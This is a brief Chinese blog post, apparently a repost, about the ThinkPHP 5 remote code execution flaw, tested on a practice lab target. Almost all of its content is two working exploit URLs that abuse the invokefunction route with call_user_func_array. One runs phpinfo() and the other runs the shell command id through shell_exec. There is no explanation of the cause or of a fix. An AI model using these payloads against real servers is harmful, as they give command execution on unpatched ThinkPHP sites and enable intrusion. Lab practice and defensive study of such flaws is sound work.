[ThinkPHP]5-Rce

2021-05-06 17:28

阅读：714

标签：func ima com 图片 index array thinkphp call amp

靶场首页

技术图片

该poc会执行phpinfo()

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1  # 将执行phpinfo()

技术图片

该poc将会执行id命令

http://node3.buuoj.cn:25181/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

技术图片

技术图片

[ThinkPHP]5-Rce

标签：func ima com 图片 index array thinkphp call amp

原文地址：https://www.cnblogs.com/R-S-PY/p/12095826.html

文章来自：搜素材网的编程语言模块，转载请注明文章出处。
文章标题：[ThinkPHP]5-Rce
文章链接：http://soscw.com/index.php/essay/83308.html

亲，登录后才可以留言！